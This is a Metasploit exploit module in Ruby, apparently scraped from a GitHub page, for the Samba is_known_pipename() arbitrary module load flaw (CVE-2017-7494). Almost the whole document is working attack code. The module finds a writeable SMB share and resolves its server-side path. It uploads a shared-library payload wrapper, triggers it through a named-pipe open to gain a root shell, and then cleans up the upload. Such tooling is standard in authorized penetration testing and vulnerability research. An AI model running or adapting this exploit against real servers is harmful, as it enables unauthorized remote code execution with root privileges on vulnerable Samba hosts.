Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
'Description' => %q{
This module triggers an arbitrary shared library load vulnerability
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
requires valid credentials, a writeable folder in an accessible share,
and knowledge of the server-side path of the writeable folder. In
some cases, anonymous access combined with common filesystem locations
can be used to automatically exploit this vulnerability.
},
'Author' =>
[
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit
'hdm', # Metasploit Module
'bcoles', # Check logic
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7494' ],
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
],
'Payload' =>
{
'Space' => 9000,
'DisableNops' => true
},
'Platform' => 'linux',
'Targets' =>
[
[ 'Automatic (Interact)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
}
}
}
],
[ 'Automatic (Command)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
],
'DefaultOptions' =>
{
'DCERPC::fake_bind_multi' => false,
'SHELL' => '/bin/sh',
},
'Privileged' => true,
'DisclosureDate' => '2017-03-24',
'DefaultTarget' => 0))
register_options(
[
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
])
end
def post_auth?
true
end
# Setup our mapping of Metasploit architectures to gcc architectures
def setup
super
@@payload_arch_mappings = {
ARCH_X86 => [ 'x86' ],
ARCH_X64 => [ 'x86_64' ],
ARCH_MIPS => [ 'mips' ],
ARCH_MIPSLE => [ 'mipsel' ],
ARCH_MIPSBE => [ 'mips' ],
ARCH_MIPS64 => [ 'mips64' ],
ARCH_MIPS64LE => [ 'mips64el' ],
ARCH_PPC => [ 'powerpc' ],
ARCH_PPC64 => [ 'powerpc64' ],
ARCH_PPC64LE => [ 'powerpc64le' ],
ARCH_SPARC => [ 'sparc' ],
ARCH_SPARC64 => [ 'sparc64' ],
ARCH_ARMLE => [ 'armel', 'armhf' ],
ARCH_AARCH64 => [ 'aarch64' ],
ARCH_ZARCH => [ 's390x' ],
}
# Architectures we don't offically support but can shell anyways with interact
@@payload_arch_bonus = %W{
mips64el sparc64 s390x
}
# General platforms (OS + C library)
@@payload_platforms = %W{
linux-glibc
}
end
# List all top-level directories within a given share
def enumerate_directories(share)
begin
vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client')
connect(versions: [1])
smb_login
self.simple.connect("\\\\#{rhost}\\#{share}")
stuff = self.simple.client.find_first("\\*")
directories = [""]
stuff.each_pair do |entry,entry_attr|
next if %W{. ..}.include?(entry)
next unless entry_attr['type'] == 'D'
directories << entry
end
return directories
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Enum #{share}: #{e}")
return nil
ensure
simple.disconnect("\\\\#{rhost}\\#{share}")
smb_connect
end
end
# Determine whether a directory in a share is writeable
def verify_writeable_directory(share, directory="")
begin
simple.connect("\\\\#{rhost}\\#{share}")
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << Rex::Text.rand_text_alpha(8)
wfd.close
simple.delete(filename)
return true
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
vprint_error("Write #{share}#{filename}: #{e}")
return false
ensure
simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
# Call NetShareGetInfo to retrieve the server-side path
def find_share_path
share_info = smb_netsharegetinfo(@share)
share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
end
# Crawl top-level directories and test for writeable
def find_writeable_path(share)
subdirs = enumerate_directories(share)
return unless subdirs
if datastore['SMB_FOLDER'].to_s.length > 0
subdirs.unshift(datastore['SMB_FOLDER'])
end
subdirs.each do |subdir|
next unless verify_writeable_directory(share, subdir)
return subdir
end
nil
end
# Locate a writeable directory across identified shares
def find_writeable_share_path
@path = nil
share_info = smb_netshareenumall
if datastore['SMB_SHARE_NAME'].to_s.length > 0
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
end
share_info.each do |share|
next if share.first.upcase == 'IPC$'
found = find_writeable_path(share.first)
next unless found
@share = share.first
@path = found
break
end
end
# Locate a writeable share
def find_writeable
find_writeable_share_path
unless @share && @path
print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
fail_with(Failure::NoTarget, "No matching target")
end
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
end
# Store the wrapped payload into the writeable share
def upload_payload(wrapped_payload)
begin
self.simple.connect("\\\\#{rhost}\\#{@share}")
random_filename = Rex::Text.rand_text_alpha(8)+".so"
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << wrapped_payload
wfd.close
@payload_name = random_filename
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("Write #{@share}#{filename}: #{e}")
return false
ensure
simple.disconnect("\\\\#{rhost}\\#{@share}")
end
print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
return true
end
# Try both pipe open formats in order to load the uploaded shared library
def trigger_payload
target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
[
"\\\\PIPE\\" + target,
target
].each do |tpath|
print_status("Loading the payload from server-side path #{target} using #{tpath}...")
smb_connect
# Try to execute the shared library from the share
begin
simple.client.create_pipe(tpath)
probe_module_path(tpath)
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
# Common errors we can safely ignore
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
if e.error_code == 0xc0000039
pwn
return true
else
print_error(" >> Failed to load #{e.error_name}")
end
rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e
if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID
pwn
return true
else
print_error(" >> Failed to load #{e.status_code.name}")
end
end
disconnect
end
false
end
def pwn
print_good("Probe response indicates the interactive payload was loaded...")
smb_shell = self.sock
self.sock = nil
remove_socket(sock)
handler(smb_shell)
end
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
def cycle_possible_payloads
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")
template_list = []
template_type = nil
template_arch = nil
# Handle the generic command types first
if target.arch.include?(ARCH_CMD)
template_type = target['Interact'] ? 'findsock' : 'system'
all_architectures = @@payload_arch_mappings.values.flatten.uniq
# Include our bonus architectures for the interact payload
if target['Interact']
@@payload_arch_bonus.each do |t_arch|
all_architectures << t_arch
end
end
# Prioritize the most common architectures first
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
template_list << all_architectures.delete(t_arch)
end
# Queue up the rest for later
all_architectures.each do |t_arch|
template_list << t_arch
end
# Handle the specific architecture targets next
else
template_type = 'shellcode'
target.arch.each do |t_name|
@@payload_arch_mappings[t_name].each do |t_arch|
template_list << t_arch
end
end
end
# Remove any duplicates that mau have snuck in
template_list.uniq!
# Cycle through each top-level platform we know about
@@payload_platforms.each do |t_plat|
# Cycle through each template and yield
template_list.each do |t_arch|
wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
next unless ::File.exist?(wrapper_path)
data = ''
::File.open(wrapper_path, "rb") do |fd|
data = Rex::Text.ungzip(fd.read)
end
pidx = data.index('PAYLOAD')
if pidx
data[pidx, payload.encoded.length] = payload.encoded
end
vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
yield(data)
end
end
end
# Verify that the payload settings make sense
def sanity_check
if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"
print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")
print_error(" Please set PAYLOAD to cmd/unix/interact and try this again")
print_error("")
fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")
end
if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"
print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")
print_error(" Please set a valid PAYLOAD and try this again")
print_error("")
fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")
end
end
# Shorthand for connect and login
def smb_connect
connect
smb_login
end
# Start the shell train
def exploit
# Validate settings
sanity_check
# Setup SMB
smb_connect
# Find a writeable share
find_writeable
# Retrieve the server-side path of the share like a boss
print_status("Retrieving the remote path of the share '#{@share}'")
@share_path = find_share_path
print_status("Share '#{@share}' has server-side path '#{@share_path}")
# Disconnect
disconnect
# Create wrappers for each potential architecture
cycle_possible_payloads do |wrapped_payload|
# Connect, upload the shared library payload, disconnect
smb_connect
upload_payload(wrapped_payload)
disconnect
# Trigger the payload
early = trigger_payload
# Cleanup the payload
begin
smb_connect
simple.connect("\\\\#{rhost}\\#{@share}")
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
simple.delete(uploaded_path)
disconnect
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
end
# Bail early if our interact payload loaded
return if early
end
end
# A version-based vulnerability check for Samba
def check
res = smb_fingerprint
unless res['native_lm'] =~ /Samba ([\d\.]+)/
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
return CheckCode::Safe
end
samba_version = Rex::Version.new($1.gsub(/\.$/, ''))
vprint_status("Samba version identified as #{samba_version.to_s}")
if samba_version < Rex::Version.new('3.5.0')
return CheckCode::Safe
end
# Patched in 4.4.14
if samba_version < Rex::Version.new('4.5.0') &&
samba_version >= Rex::Version.new('4.4.14')
return CheckCode::Safe
end
# Patched in 4.5.10
if samba_version > Rex::Version.new('4.5.0') &&
samba_version < Rex::Version.new('4.6.0') &&
samba_version >= Rex::Version.new('4.5.10')
return CheckCode::Safe
end
# Patched in 4.6.4
if samba_version >= Rex::Version.new('4.6.4')
return CheckCode::Safe
end
smb_connect
find_writeable_share_path
disconnect
if @share.to_s.length == 0
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
return CheckCode::Detected
end
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
return CheckCode::Appears
end
end